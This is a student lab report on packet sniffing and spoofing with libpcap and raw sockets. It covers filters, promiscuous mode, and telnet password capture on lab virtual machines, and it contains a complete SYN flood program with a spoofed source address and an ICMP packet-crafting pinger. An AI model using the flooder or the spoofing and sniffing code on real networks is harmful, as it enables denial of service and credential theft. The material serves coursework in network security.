58
Shashi Ranjan LAB1 Packet Sniffing and Spoofing Lab Problem 1: The sequence of the library calls that are essential for sniffer programs Setting the device We begin by determining which interface we want to sniff on. In Linux this may be something like eth0, in BSD it may be xl1, etc. We can either define this device in a string, or we can ask pcap to provide us with the name of an interface that will do the job. We can pass the device interface as command line argument .given a simple a program for taking dev name from user. #include <stdio.h> #include <pcap.h> int main(int argc, char *argv[]) { char *dev = argv[1]; printf("Device: %s\n", dev); return(0); } The other technique is by using Pcap api. Given below the program #include <stdio.h> #include <pcap.h> int main(int argc, char *argv[]) { char *dev, errbuf[PCAP_ERRBUF_SIZE]; dev = pcap_lookupdev(errbuf); if (dev == NULL) { fprintf(stderr, "Couldn't find default device: %s\ n", errbuf); return(2); }

lab1

Embed Size (px)

Citation preview

Page 1: lab1

Shashi Ranjan LAB1

Packet Sniffing and Spoofing Lab

Problem 1: The sequence of the library calls that are essential forsniffer programs

Setting the device

We begin by determining which interface we want to sniff on. In Linux this may be something like eth0, in BSD it may be xl1, etc. We can either define this device in a string, or we can ask pcap to provide us with the name of an interface that will do the job.

We can pass the device interface as command line argument .given a simple a program for taking dev name from user.

#include <stdio.h>#include <pcap.h>

int main(int argc, char *argv[]){

char *dev = argv[1];

printf("Device: %s\n", dev); return(0);

}

The other technique is by using Pcap api. Given below the program

#include <stdio.h>#include <pcap.h>

int main(int argc, char *argv[]){

char *dev, errbuf[PCAP_ERRBUF_SIZE];

dev = pcap_lookupdev(errbuf);if (dev == NULL) {

fprintf(stderr, "Couldn't find default device: %s\n", errbuf);return(2);

}printf("Device: %s\n", dev);return(0);

}

In this case, pcap just sets the device on its own. Most of the pcap commands allow errbuf ,a string as an argument. if pcap_lookupdev() fails, it will store an error message in errbuf.

Page 2: lab1

Shashi Ranjan LAB1

Opening the device for sniffing

For this, we use pcap_open_live(). The prototype of this function (from the pcap man page) is as follows:

pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)

The first argument is the device that we specified in the previous section. snaplen is an integer which defines the maximum number of bytes to be captured by pcap. promisc, when set to true, brings the interface into promiscuous mode (however, even if it is set to false, it is possible under specific cases for the interface to be in promiscuous mode, anyway). to_ms is the read time out in milliseconds (a value of 0 means no time out; on at least some platforms, this means that you may wait until a sufficient number of packets arrive before seeing any packets, so you should use a non-zero timeout). Lastly, ebuf is a string we can store any error messages within (as we did above with errbuf). The function returns our session handler.

To demonstrate, consider this code snippet:

#include <pcap.h> ... pcap_t *handle;

handle = pcap_open_live(somedev, BUFSIZ, 1, 1000, errbuf); if (handle == NULL) {

fprintf(stderr, "Couldn't open device %s: %s\n", somedev, errbuf); return(2);

}

This code fragment opens the device stored in the strong "somedev", tells it to read however many bytes are specified in BUFSIZ (which is defined in pcap.h). We are telling it to put the device into promiscuous mode, to sniff until an error occurs, and if there is an error, store it in the string errbuf; it uses that string to print an error message.

In standard, non-promiscuous sniffing, a host is sniffing only traffic that is directly related to it. Only traffic to, from, or routed through the host will be picked up by the sniffer. Promiscuous mode, on the other hand, sniffs all traffic on the wire. In a non-switched environment, this could be all network traffic. The obvious advantage to this is that it provides more packets for sniffing, which may or may not be helpful depending on the reason you are sniffing the network. However, there are regressions. Promiscuous mode sniffing is detectable; a host can test with strong reliability to determine if another host is doing promiscuous sniffing. Second, it only works in a non-switched environment (such as a hub, or a switch that is being ARP flooded). Third, on high traffic networks, the host can become quite taxed for system resources.

Filtering traffic

The process is quite simple. After we have already called pcap_open_live() and have a working sniffing session, we can apply our filter. Why not just use our own if/else if statements? Two reasons. First, pcap's

Page 3: lab1

Shashi Ranjan LAB1

filter is far more efficient, because it does it directly with the BPF filter; we eliminate numerous steps by having the BPF driver do it directly.

Before applying our filter, we must "compile" it. The filter expression is kept in a regular string (char array).

To compile the program we call pcap_compile(). The prototype defines it as:

int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)

The first argument is our session handle (pcap_t *handle in our previous example). Following that is a reference to the place we will store the compiled version of our filter. Then comes the expression itself, in regular string format. Next is an integer that decides if the expression should be "optimized" or not (0 is false, 1 is true. Standard stuff.) Finally, we must specify the net mask of the network the filter applies to. The function returns -1 on failure; all other values imply success.

After the expression has been compiled, it is time to apply it. Enter pcap_setfilter(). Following our format of explaining pcap, we shall look at the pcap_setfilter() prototype:

int pcap_setfilter(pcap_t *p, struct bpf_program *fp)

This is very straightforward. The first argument is our session handler, the second is a reference to the compiled version of the expression (presumably the same variable as the second argument to pcap_compile()).

Perhaps another code sample would help to better understand:

#include <pcap.h> ... pcap_t *handle; /* Session handle */ char dev[] = "rl0"; /* Device to sniff on */ char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */ struct bpf_program fp; /* The compiled filter expression */ char filter_exp[] = "port 23"; /* The filter expression */ bpf_u_int32 mask; /* The netmask of our sniffing device */ bpf_u_int32 net; /* The IP of our sniffing device */

if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { fprintf(stderr, "Can't get netmask for device %s\n", dev); net = 0; mask = 0;

} handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); if (handle == NULL) {

fprintf(stderr, "Couldn't open device %s: %s\n", somedev, errbuf); return(2);

} if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {

fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));

Page 4: lab1

Shashi Ranjan LAB1

return(2); } if (pcap_setfilter(handle, &fp) == -1) {

fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle)); return(2);

}

This program preps the sniffer to sniff all traffic coming from or going to port 23, in promiscuous mode, on the device rl0.

You may notice that the previous example contains a function that we have not yet discussed. pcap_lookupnet() is a function that, given the name of a device, returns its IP and net mask. This was essential because we needed to know the net mask in order to apply the filter. This function is described in the Miscellaneous section at the end of the document.

The actual sniffing

There are two main techniques for capturing packets. We can either capture a single packet at a time, or we can enter a loop that waits for n number of packets to be sniffed before being done. We will begin by looking at how to capture a single packet, then look at methods of using loops. For this we use pcap_next().

The prototype for pcap_next() is fairly simple:

u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h)

The first argument is our session handler. The second argument is a pointer to a structure that holds general information about the packet, specifically the time in which it was sniffed, the length of this packet, and the length of his specific portion (incase it is fragmented, for example.) pcap_next() returns a u_char pointer to the packet that is described by this structure. We'll discuss the technique for actually reading the packet itself later.

The other technique we can use is more complicated, and probably more useful. Few sniffers (if any) actually use pcap_next(). More often than not, they use pcap_loop() or pcap_dispatch() (which then themselves use pcap_loop()). To understand the use of these two functions, you must understand the idea of a callback function.

The prototype for pcap_loop() is below:

int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)

The first argument is our session handle. Following that is an integer that tells pcap_loop() how many packets it should sniff for before returning (a negative value means it should sniff until an error occurs). The third argument is the name of the callback function (just its identifier, no parentheses). The last argument is useful in some applications, but many times is simply set as NULL. Suppose we have arguments of our own that we wish to send to our callback function, in addition to the arguments that pcap_loop() sends. This is where we do it. Obviously, you must typecast to a u_char pointer to ensure the

Page 5: lab1

Shashi Ranjan LAB1

results make it there correctly; as we will see later, pcap makes use of some very interesting means of passing information in the form of a u_char pointer. pcap_dispatch() is almost identical in usage. The only difference between pcap_dispatch() and pcap_loop() is that pcap_dispatch() will only process the first batch of packets that it receives from the system, while pcap_loop() will continue processing packets or batches of packets until the count of packets runs out

We cannot arbitrarily define our callback's prototype; otherwise, pcap_loop() would not know how to use the function. So we use this format as the prototype for our callback function:

void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);

Problem 2:

A raw socket is a socket that allows direct sending and receiving of network packets by applications, bypassing all encapsulation in the networking software of the operating system.we need to be root to create a raw socket.As we cant find the network interface until we are root.

The program will throw error at

dev = pcap_lookupdev(errbuf);if (dev == NULL) {

fprintf(stderr, "Couldn't find default device: %s\n", errbuf);return(2);

}

The look up the device program need to run as root.

Page 6: lab1

Shashi Ranjan LAB1

Problem 3:Promiscous mode vs non Promiscous mode

In standard, non-promiscuous sniffing, a host is sniffing only traffic that is directly related to it. Only traffic to, from, or routed through the host will be picked up by the sniffer. Promiscuous mode, on the other hand, sniffs all traffic on the wire. In a non-switched environment, this could be all network traffic. The obvious advantage to this is that it provides more packets for sniffing, which may or may not be helpful depending on the reason you are sniffing the network. However, there are regressions. Promiscuous mode sniffing is detectable; a host can test with strong reliability to determine if another host is doing promiscuous sniffing. Second, it only works in a non-switched environment (such as a hub, or a switch that is being ARP flooded). Third, on high traffic networks, the host can become quite taxed for system resources.

Using Non-Promiscous mode:

Demonstration: sniffex was running in on vitual machine say A(ip:192.168.126.155)

From another virtual machine say B I pinged 192.168.126.1

Finding : I found that if sniffer non promiscuous mode ,it can’t catch packet send to destination other than system on which sniffer is running

Page 7: lab1

Shashi Ranjan LAB1

Page 8: lab1

Shashi Ranjan LAB1

Using Promiscuous mode:

Demonstration: sniffex was running in on vitual machine say A(ip:192.168.126.155)

From another virtual machine say B(ip:192.168.126.157) I pinged 192.168.126.1

Finding : I found that if sniffer is running promiscuous mode ,it can even catch packet send to destination other than system on which sniffer is running depending on filter expression.

Problem 4:

A: Capture the ICMP packets between two specific hosts.

Here I have give the screen dump of the program.Here sniffer program is called with three arguments

1.filter

2 Promiscous mode

3 No of packets to sniffed

Page 9: lab1

Shashi Ranjan LAB1

Using this filter expression sniffer can only sniff icmp packets transaction between only two given host.Here my sniffer was running on virtual machine with ip 192.168.126.155 with filter expression set to “host 192.168.126.1 and host 192.168.126.157 and icmp”

So when I pinged 192.168.126.1 from machine 192.168.126.157,I sniffer cautch that packet

But when I pined 192.168.126.155 from 192.168.126.157 it din catch that packet.

Page 10: lab1

Shashi Ranjan LAB1

Page 11: lab1

Shashi Ranjan LAB1

B: tcp and destination with port range 10-110

Here I used the fileter “tcp dst portrange 10-100”

Sniffer running on 192.168.126.155 caught the paket sent from 192.168.126.157 to 192.168.126.155 using telnet on port 23.But it din catch packets when destination port was higher than 110.

Page 12: lab1

Shashi Ranjan LAB1

Problem 5:Capturing password

Here we can see when machine 122.168.126.157 telnet 122.168.126.155 on port 23.host 122.168.126.155 asked for login credential.so for coannectig to host 122.168.126.155 ,host 122.168.126.157 enters login and password details.all these can be captured on the sniffer

As shown below.once host 122.168.126.157 ask password to host 122.168.126.155,it sends

Password character by character to host 122.168.126.157 which was caught by sniffer.once we see the “..”, that means full password is sent.

Page 13: lab1

Shashi Ranjan LAB1

Page 14: lab1

Shashi Ranjan LAB1

2.2 Task 2: Spoofing

For packet spoofing ,user need to send custom made packets. When a normal user sends out a packet, operating systems usually do not allow the user to set all the fields in the protocol headers (such as TCP, UDP, and IP headers). OSes will set most of the fields, while onlyallowing users to set a few fields, such as the destination IP address, and the destination port number, etc. However, if the user has the root privilege, he/she can set any arbitary field in the packet headers. This is essentially packet spoofing, and it can be done through raw sockets.Raw sockets give programmers the absolute control over the packet construction, allowing programmers to construct any arbitrary packet, including setting the header fields and the payload.Using raw sockets is quite straightforward; it involves four steps: (1) create a raw socket (2) set socket option(3) construct the packet(4) send out the packet through the raw socket.

Problem 6:

1 Creating Raw sockets and setting socket options

The basic concept of low level sockets is to send a single packet at one time, with all the protocol headers filled in by the program (instead of the kernel). Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we'll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.

The (simplified) link layer model looks like this:Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)

Now to some practical stuff. A standard command to create a datagram socket is: socket (PF_INET, SOCK_RAW, IPPROTO_UDP); From the moment that it is created, we can send any IP packets over it, and receive any IP packets that the host received after that socket was created if we read() from it. Note that even though the socket is an interface to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, we have to create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for udp and 1 for icmp).

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);char buffer[8192]; /* single packets are usually not bigger than 8192 bytes

*/while (read (fd, buffer, 8192) > 0) printf ("Caught tcp packet: %s\n", buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));

Page 15: lab1

Shashi Ranjan LAB1

2 Constructing the header for the different protocols IP, ICMP, TCP and UDP

To inject our own packets, all we need to know is the structures of the protocols that need to be included. Below defined structures of IP, ICMP, TCP and UDP headers. The data types/sizes we need to use are: unsigned char - 1 byte (8 bits), unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits).we can also use bsd pre defined structures for thise given headers.

struct ipheader { unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */ unsigned char ip_tos; unsigned short int ip_len; unsigned short int ip_id; unsigned short int ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short int ip_sum; unsigned int ip_src; unsigned int ip_dst;}; /* total ip header length: 20 bytes (=160 bits) */

The Internet Protocol is the network layer protocol, used for routing the data from the source to its destination. Every datagram contains an IP header followed by a transport layer protocol such as tcp.

ip_hl: the ip header length in 32bit octets. this means a value of 5 for the hl means 20 bytes (5 * 4). values other than 5 only need to be set it the ip header contains options (mostly used for routing)ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)ip_tos: type of service controls the priority of the packet. 0x00 is normal. the first 3 bits stand for routing priority, the next 4 bits for the type of service (delay, throughput, reliability and cost).ip_len: total length must contain the total length of the ip datagram. this includes ip header, icmp or tcp or udp header and payload size in bytes.ip_id: the id sequence number is mainly used for reassembly of fragmented IP datagrams. when sending single datagrams, each can have an arbitrary ID.ip_off: the fragment offset is used for reassembly of fragmented datagrams. the first 3 bits are the fragment flags, the first one always 0, the second the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is the fragment offset, containing the number of 8-byte big packets already sent.ip_ttl: time to live is the amount of hops (routers to pass) before the packet is discarded, and an icmp error message is returned. the maximum is 255.ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or whatever protocol follows the ip header. look in /etc/protocols for more.ip_sum: the datagram checksum for the whole ip datagram. every time anything in the datagram changes, it needs to be recalculated, or the packet will be discarded by the next router. see V. for a checksum function.ip_src and ip_dst: source and destination IP address, converted to long format, e.g. by inet_addr(). both can be chosen arbitrarily.IP itself has no mechanism for establishing and maintaining a connection, or even containing data as a direct payload. Internet Control Messaging Protocol is merely an addition to IP to carry error, routing and control messages and data, and is often considered as a protocol of the network layer.

Page 16: lab1

Shashi Ranjan LAB1

struct icmpheader { unsigned char icmp_type; unsigned char icmp_code; unsigned short int icmp_cksum; /* The following data structures are ICMP type specific */ unsigned short int icmp_id; unsigned short int icmp_seq;}; /* total icmp header length: 8 bytes (=64 bits) */

icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 - destination unreachable. look in for all the types.icmp_code: this is significant when sending an error message (unreach), and specifies the kind of error. again, consult the include file for more.icmp_cksum: the checksum for the icmp header + data. same as the IP checksum. Note: The next 32 bits in an icmp packet can be used in many different ways. This depends on the icmp type and code. the most commonly seen structure, an ID and sequence number, is used in echo requests and replies, hence we only use this one, but keep in mind that the header is actually more complex.icmp_id: used in echo request/reply messages, to identify the requesticmp_seq: identifies the sequence of echo messages, if more than one is sent.

The User Datagram Protocol is a transport protocol for sessions that need to exchange data. Both transport protocols, UDP and TCP provide 65535 different source and destination ports. The destination port is used to connect to a specific service on that port. Unlike TCP, UDP is not reliable, since it doesn't use sequence numbers and stateful connections. This means UDP datagrams can be spoofed, and might not be reliable (e.g. they can be lost unnoticed), since they are not acknowledged using replies and sequence numbers.

struct udpheader { unsigned short int uh_sport; unsigned short int uh_dport; unsigned short int uh_len; unsigned short int uh_check;}; /* total udp header length: 8 bytes (=64 bits) */

uh_sport: The source port that a client bind()s to, and the contacted server will reply back to in order to direct his responses to the client.uh_dport: The destination port that a specific server can be contacted on.uh_len: The length of udp header and payload data in bytes.uh_check: The checksum of header and data, see IP checksum.

The Transmission Control Protocol is the mostly used transport protocol that provides mechanisms to establish a reliable connection with some basic authentication, using connection states and sequence numbers.

struct tcpheader { unsigned short int th_sport; unsigned short int th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_x2:4, th_off:4;

Page 17: lab1

Shashi Ranjan LAB1

unsigned char th_flags; unsigned short int th_win; unsigned short int th_sum; unsigned short int th_urp;}; /* total tcp header length: 20 bytes (=160 bits) */

th_sport: The source port, which has the same function as in UDP.th_seq: The sequence number is used to enumerate the TCP segments. The data in a TCP connection can be contained in any amount of segments (=single tcp datagrams), which will be put in order and acknowledged. For example, if you send 3 segments, each containing 32 bytes of data, the first sequence would be (N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the initial sequence is random.

th_ack: Every packet that is sent and a valid part of a connection is acknowledged with an empty TCP segment with the ACK flag set (see below), and the th_ack field containing the previous the_seq number.

th_x2: This is unused and contains binary zeroes.th_off: The segment offset specifies the length of the TCP header in 32bit/4byte blocks. Without tcp header options, the value is 5.th_flags: This field consists of six binary flags. Using bsd headers, they can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...   TH_URG: Urgent. Segment will be routed faster, used for termination of a connection or to stop processes (using telnet protocol).   TH_ACK: Acknowledgement. Used to acknowledge data and in the second and third stage of a TCP connection initiation .   TH_PSH: Push. The systems IP stack will not buffer the segment and forward it to the application immediately (mostly used with telnet).   TH_RST: Reset. Tells the peer that the connection has been terminated.   TH_SYN: Synchronization. A segment with the SYN flag set indicates that client wants to initiate a new connection to the destination port.   TH_FIN: Final. The connection should be closed, the peer is supposed to answer with one last segment with the FIN flag set as well.th_win: Window. The amount of bytes that can be sent before the data should be acknowledged with an ACK before sending more segments.th_sum: The checksum of pseudo header, tcp header and payload. The pseudo is a structure containing IP source and destination address, 1 byte set to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes (unsigned short) containing the total length of the tcp segment.th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It points to the end of the payload data that should be sent with priority.

III. Building and injecting datagrams

Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s).  We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder).

#define __USE_BSD /* use bsd'ish ip header */#include /* these headers are for a Linux system, but */#include /* the names on other systems are easy to guess.. */#include

Page 18: lab1

Shashi Ranjan LAB1

#define __FAVOR_BSD /* use bsd'ish tcp header */#include #include

#define P 25 /* lets flood the sendmail port */

unsigned short /* this function generates header checksums */csum (unsigned short *buf, int nwords){ unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum;}

int main (void){ int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */ char datagram[4096]; /* this buffer will contain ip header, tcp header,

and payload. we'll point an ip header structure at its beginning, and a tcp header structure after that to write the header values into it */

struct ip *iph = (struct ip *) datagram; struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); struct sockaddr_in sin;

/* the sockaddr_in containing the dest. address is used in sendto() to determine the datagrams path */

sin.sin_family = AF_INET; sin.sin_port = htons (P);/* you byte-order >1byte header values to network

byte order (not needed on big endian machines) */ sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

memset (datagram, 0, 4096); /* zero out the buffer */

/* we'll now fill in the ip/tcp header values, see above for explanations */ iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */ iph->ip_id = htonl (54321); /* the value doesn't matter here */ iph->ip_off = 0; iph->ip_ttl = 255; iph->ip_p = 6; iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */ iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */ iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons (1234); /* arbitrary port */

Page 19: lab1

Shashi Ranjan LAB1

tcph->th_dport = htons (P); tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */ tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */ tcph->th_x2 = 0; tcph->th_off = 0; /* first and only tcp segment */ tcph->th_flags = TH_SYN; /* initial connection request */ tcph->th_win = htonl (65535); /* maximum allowed window size */ tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack

should fill in the correct checksum during transmission */ tcph->th_urp = 0;

iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure that the kernel knows the header is included in the data, and doesn't insert its own header into the packet before our data */

{ int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!\n"); }

while (1) { if (sendto (s, /* our socket */

datagram, /* the buffer containing headers and data */ iph->ip_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */

printf ("error\n"); else

printf ("."); }

return 0;}

finally, it is very advisable to do a IP_HDRINCL call, to make sure that the kernel knows the header is included in the data, and doesn't insert its own header into the packet before our data .

int setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen)

s:A descriptor that identifies a socket.

Level:The level at which the option is defined (for example, SOL_SOCKET).

Page 20: lab1

Shashi Ranjan LAB1

Optname:The socket option for which the value is to be set (for example, SO_BROADCAST). The optname parameter must be a socket option defined within the specified level, or behavior is undefined.

Optval:A pointer to the buffer in which the value for the requested option is specified.

Optlen:The size, in bytes, of the buffer pointed to by the optval parameter.

Return ValueIf no error occurs, setsockopt returns zero. Otherwise, a value of SOCKET_ERROR is returned

Then sendto api is used for sending the packets. The sendto() function shall send a message through a connection-mode or connectionless-mode socket. If the socket is connectionless-mode, the message shall be sent to the address specified by dest_addr. If the socket is connection-mode, dest_addr shall be ignored.

ssize_t sendto(int socket, const void *message, size_t length,       int flags, const struct sockaddr *dest_addr,       socklen_t dest_len);

socket:Specifies the socket file descriptor.

Message:Points to a buffer containing the message to be sent.

Length:Specifies the size of the message in bytes.

Flags:Specifies the type of message transmission. Values of this argument are formed by logically OR'ing zero or more of the following flags:

MSG_EOR

Terminates a record (if supported by the protocol).

MSG_OOB

Sends out-of-band data on sockets that support out-of-band data. The significance and semantics of out-of-band data are protocol-specific.

dest_addr:Points to a sockaddr structure containing the destination address. The length and format of the address depend on the address family of the socket.

dest_len:Specifies the length of the sockaddr structure pointed to by the dest_addr argument.

Page 21: lab1

Shashi Ranjan LAB1

Problem 7:

When a normal user sends out a packet, operating systems usually do not allow the user to set all the fields in the protocol headers (such as TCP, UDP, and IP headers). OSes will set most of the fields, while only allowing users to set a few fields, such as the destination IP address, and the destination port number, etc.However, if the user has the root privilege, he/she can set any arbitary field in the packet headers. This is essentially packet spoofing, and it can be done through raw sockets.

Normal user program can’t create a socket.Here I have used a pinger program which pings host.Its basically creates a icmp packet and send it on socket created by using raw socket.When I tried to run this program as normal user I was not able to create the socket .

My pinger program and screen dump given below

/*

* pinger.c

* This is a ping imitation program

* It will send an ICMP ECHO packet to the server of

* your choice and listen for an ICMP REPLY packet

* Have fun!

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <linux/ip.h>

#include <linux/icmp.h>

Page 22: lab1

Shashi Ranjan LAB1

#include <string.h>

#include <unistd.h>

char dst_addr[20];

char src_addr[20];

unsigned short in_cksum(unsigned short *, int);

void parse_argvs(char**, char*, char* );

void usage();

char* getip();

char* toip(char*);

int main(int argc, char* argv[])

{

struct iphdr* ip;

struct iphdr* ip_reply;

struct icmphdr* icmp;

struct sockaddr_in connection;

char* packet;

char* buffer;

int sockfd;int one=1; int *optval=&one;

int addrlen;

int siz;

Page 23: lab1

Shashi Ranjan LAB1

if (getuid() != 0)

{

fprintf(stderr, "%s: root privelidges needed\n", *(argv + 0));

exit(EXIT_FAILURE);

}

parse_argvs(argv, dst_addr, src_addr);

strncpy(dst_addr, toip(dst_addr), 20);

strncpy(src_addr, toip(src_addr), 20);

printf("Source address: %s\n", getip());

printf("Destination address: %s\n", dst_addr);

/*

* allocate all necessary memory

*/

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

buffer = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

/****************************************************************/

ip = (struct iphdr*) packet;

icmp = (struct icmphdr*) (packet + sizeof(struct iphdr));

/*

* here the ip packet is set up

Page 24: lab1

Shashi Ranjan LAB1

*/

ip->ihl = 5;

ip->version = 4;

ip->tos = 0;

ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);

ip->id = htons(0);

ip->frag_off = 0;

ip->ttl = 64;

ip->protocol = IPPROTO_ICMP;

ip->saddr = inet_addr(src_addr);

ip->daddr = inet_addr(dst_addr);

ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1)

{

perror("socket");

exit(EXIT_FAILURE);

}

/*

* IP_HDRINCL must be set on the socket so that

* the kernel does not attempt to automatically add

* a default ip header to the packet

*/

//optval=1;

Page 25: lab1

Shashi Ranjan LAB1

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(int));

/*

* here the icmp packet is created

* also the ip checksum is generated

*/

icmp->type = ICMP_ECHO;

icmp->code = 0;

icmp->un.echo.id = random();

icmp->un.echo.sequence = 0;

icmp-> checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr));

ip->check= in_cksum((unsigned short *)packet, sizeof(struct iphdr)+sizeof(struct icmphdr));

connection.sin_family = AF_INET;

connection.sin_addr.s_addr = inet_addr(dst_addr);

/*

* now the packet is sent

*/

if( (sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&connection, sizeof(struct sockaddr))==-1)){ perror("socket");

exit(EXIT_FAILURE);} printf("Sent %d byte packet to %s\n", ip->tot_len, dst_addr);

Page 26: lab1

Shashi Ranjan LAB1

/*

* now we listen for responses

*/

addrlen = sizeof(connection);

if (( siz = recvfrom(sockfd, buffer, sizeof(struct iphdr) + sizeof(struct icmphdr), 0, (struct sockaddr *)&connection, &addrlen)) == -1)

{

perror("recv");

}

else

{

printf("Received %d byte reply from %s:\n", siz , dst_addr);

ip_reply = (struct iphdr*) buffer;

printf("ID: %d\n", ntohs(ip_reply->id));

printf("TTL: %d\n", ip_reply->ttl);

}

free(packet);

free(buffer);

close(sockfd);

return 0;

}

void parse_argvs(char** argv, char* dst, char* src)

{

int i;

if(!(*(argv + 1)))

Page 27: lab1

Shashi Ranjan LAB1

{

/* there are no options on the command line */

usage();

exit(EXIT_FAILURE);

}

if (*(argv + 1) && (!(*(argv + 2))))

{

/*

* only one argument provided

* assume it is the destination server

* source address is local host

*/

strncpy(dst, *(argv + 1), 15);

strncpy(src, getip(), 15);

return;

}

else if ((*(argv + 1) && (*(argv + 2))))

{

/*

* both the destination and source address are defined

* for now only implemented is a source address and

* destination address

*/

strncpy(dst, *(argv + 1), 15);

i = 2;

while(*(argv + i + 1))

Page 28: lab1

Shashi Ranjan LAB1

{

if (strncmp(*(argv + i), "-s", 2) == 0)

{

strncpy(src, *(argv + i + 1), 15);

break;

}

i++;

}

}

}

void usage()

{

fprintf(stderr, "\nUsage: pinger [destination] <-s [source]>\n");

fprintf(stderr, "Destination must be provided\n");

fprintf(stderr, "Source is optional\n\n");

}

char* getip()

{

char buffer[256];

struct hostent* h;

gethostname(buffer, 256);

Page 29: lab1

Shashi Ranjan LAB1

h = gethostbyname(buffer);

return inet_ntoa(*(struct in_addr *)h->h_addr);

}

/*

* return the ip address if host provided by DNS name

*/

char* toip(char* address)

{

struct hostent* h;

h = gethostbyname(address);

return inet_ntoa(*(struct in_addr *)h->h_addr);

}

/*

* in_cksum --

* Checksum routine for Internet Protocol

* family headers (C Version)

*/

unsigned short in_cksum(unsigned short *addr, int len)

{

register int sum = 0;

u_short answer = 0;

register u_short *w = addr;

Page 30: lab1

Shashi Ranjan LAB1

register int nleft = len;

/*

* Our algorithm is simple, using a 32 bit accumulator (sum), we add

* sequential 16 bit words to it, and at the end, fold back all the

* carry bits from the top 16 bits into the lower 16 bits.

*/

while (nleft > 1)

{

sum += *w++;

nleft -= 2;

}

/* mop up an odd byte, if necessary */

if (nleft == 1)

{

*(u_char *) (&answer) = *(u_char *) w;

sum += answer;

}

/* add back carry outs from top 16 bits to low 16 bits */

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* truncate to 16 bits */

return (answer);

}

Page 31: lab1

Shashi Ranjan LAB1

Problem 8:sniffing+spoofing

Here I user a ping program which ping a host and a sniffing program with spoofing facility.

Basically my spoofer program sniff a icmp request packet on the network and make a icmp reply packet and send it to the source of the icmp request packet.

My spoof program given below:

#define APP_NAME "sniffex"#define APP_DESC "Sniffer example using libpcap"#define APP_COPYRIGHT "Copyright (c) 2005 The Tcpdump Group"#define APP_DISCLAIMER "THERE IS ABSOLUTELY NO WARRANTY FOR THIS PROGRAM."

#include <pcap.h>#include <stdio.h>#include <string.h>#include <stdlib.h>#include <ctype.h>

Page 32: lab1

Shashi Ranjan LAB1

